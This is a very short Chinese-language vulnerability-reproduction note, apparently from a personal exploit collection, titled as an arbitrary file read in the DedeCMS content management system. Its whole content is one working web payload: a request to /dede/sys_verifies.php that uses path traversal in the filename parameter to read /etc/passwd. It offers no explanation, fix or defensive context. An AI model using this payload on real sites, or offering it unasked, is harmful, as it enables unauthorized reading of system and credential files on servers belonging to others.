D20-3DedeCMS–任意文件读取

漏洞复现：

payload：

/dede/sys_verifies.php?action=view&filename=././/etc/passwd